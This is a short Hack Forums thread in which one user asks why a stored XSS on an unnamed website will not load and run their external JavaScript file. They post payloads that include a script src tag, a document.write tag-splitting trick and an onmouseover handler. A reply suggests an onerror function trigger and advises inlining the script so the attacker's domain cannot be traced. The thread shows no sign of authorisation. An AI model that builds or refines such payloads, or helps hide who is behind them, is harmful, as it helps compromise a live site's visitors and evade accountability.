+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: XSS script src dosent redirect (/showthread.php?tid=6006719)
XSS script src dosent redirect - kickxqw - Sep 10, 2019
There is a stored XSS on a website but it dosent redirect?
<script src = 'site/XSS.js'></script>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="mywebsitemyfile.js"></SCRIPT>
This works but it only alerts a box when i do a mouseover. I want it to redirect to a js file and execute it in the background.
<div onmouseover='alert(1)'>DIV</div>
RE: XSS script src dosent redirect - compalabee - Sep 11, 2019
For your last src, all it really did was just do an alert(1), with the "(" and ")" encoded as HTML. You need to actually place the javascript in there, after the "onmouseover". Suggest you check out more javascript examples.
For the first one, while I haven't really done any out-of-domain scripts, have you tried making a function first? The function would then be executed with something such as "onready" or like the other one, "onmouseover" or "onerror". For example,
onerror=startMyScript()
Then I cause an error, which would start the function. Inside the function, you can find a way to run the js script.
However, since you're at it anyway, why not just place the entire js script in there? It would allow you to avoid getting traced too because your domain would be present in the stored src?